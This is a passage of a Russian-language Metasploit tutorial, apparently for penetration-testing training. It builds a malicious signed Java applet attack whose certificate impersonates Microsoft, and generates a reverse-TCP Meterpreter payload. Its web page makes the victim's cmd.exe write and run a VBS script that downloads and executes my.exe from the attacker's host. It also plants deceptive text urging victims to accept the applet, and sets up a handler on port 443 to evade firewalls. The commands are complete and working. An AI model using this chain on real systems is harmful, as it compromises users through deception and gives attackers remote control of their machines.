Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes [+] Signing the JAR file Warning: The signer certificate will expire within six months. [+] Exporting the public key certificate Certificate stored in file [+] Done
Все готово, мы должны подготовить наши JAR и class файлы для веб-сервера.
root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/www/ root@bt4:/java-applet/# cp MSFcmd.class /var/www/ root@bt4:/java-applet/# apache2ctl start
Теперь, когда аплет на месте, мы подготовим полезную нагрузку Meterpreter. Измените в примере ниже 'X.X.X.X' на IP адрес атакующего. Эта команда используя msfpayload создает Reverse TCP Meterpreter Shell для нашей жертвы. Мы генерируем полезную нагрузку в «сыром» формате и подаем на вход msfencode, сохраняем файл исполняемым. Исполняемый файл копируется в директорию веб-сервера, затем на него выставляются права на запуск.
root@bt4:/pentest/exploits/framework3/# ./msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o my.exe root@bt4:/pentest/exploits/framework3/# cp ./my.exe /var/www/ root@bt4:/pentest/exploits/framework3/# chmod a+x /var/www/my.exe
Далее мы должны добавить команду запускающую полезную нагрузку в файл index.html. В общем эта страница будет запускать JAVA-Аплет, подписанный нами, который, получив разрешение от клиента, запустит cmd.exe из своей системы, повторяя строчки в VBS-скрипт с именем "apsou.vbs". Не забудьте, что этот файл можно найти в системе после всех успешных и "некоторых" неудачных попыток. После того, как файл создан, та же самая командная строка запускает VBS-скрипт и в качестве переменной подает ему ссылку на систему атакующего, где расположен файл "my.exe". Как только полезная нагрузка будет загружена, она запустит "my.exe" с правами пользователя, запустившего браузер.
Модифицируем файл index.html, первое,что загрузит в свой браузер клиент сайта. В реальном мире, контент сайта можно разнообразить видео, веб-браузерными играми, или другими мероприятиями, чтобы развлечь или отвлечь жертву. Социальная инженерия может сыграть огромную пользу, направив вашу жертву к определенному URL, предупредите жертву, чтобы та согласилась с предупреждением безопасности, для дальнейшего просмотра вашего сайта или использования вашего «очень безопасного IM апплета». Вы также можете разместить различные полезные нагрузки в разных папках для разных клиентов. Введите следующую команду как одну непрерывную и не забудьте изменить 'XXXX' нападающего на ваш IP-адрес.
root@bt4:/pentest/exploits/framework3/# echo "<applet width='1' height='1' code='MSFcmd.class' archive='SignedMSFcmd.jar'>" > /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "<param name='first' value='cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\my.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://X.X.X.X/my.exe C:\windows\my.exe'> </applet>" >> /var/www/index.html
На страницу нам также нужно добавить сообщение для пользователя, чтобы тот принял наш «вредоносный» апплет.
root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet. We are sorry for any inconvenience. " >> /var/www/index.html
Теперь нам нужно использовать Metasploit multi/handler для ожидания соединений от клиентов. Для прослушки используем reverse shell на порту 443. Этот порт ассоциирован с HTTPS трафиком и поэтому большинство корпоративных брандмауэров разрешают «хождение трафика» через этот порт. Как и раньше замените 'X.X.X.X' на IP адрес атакующего.
msf > use exploit/multi/handler msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST X.X.X.X LHOST => X.X.X.X msf exploit(handler) > set LPORT 443 LPORT +> 443 msf exploit(handler) > save Saved configuration to: /root/.msf3/config msf exploit(handler) >exploit -j [*] Exploit running as background job. [*] Started reverse handler [*] Starting the payload handler...
Когда жертва просматривает наш сайт и принимает предупреждение системы безопасности, полезная нагрузка Meterpreter срабатывает и подключается к нашему обработчику.
msf exploit(handler) > [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (A.A.A.A:443 -> T.T.T.T:44477) msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps Process list ============ PID Name Path --- ---- ----
Оставить комментарий или два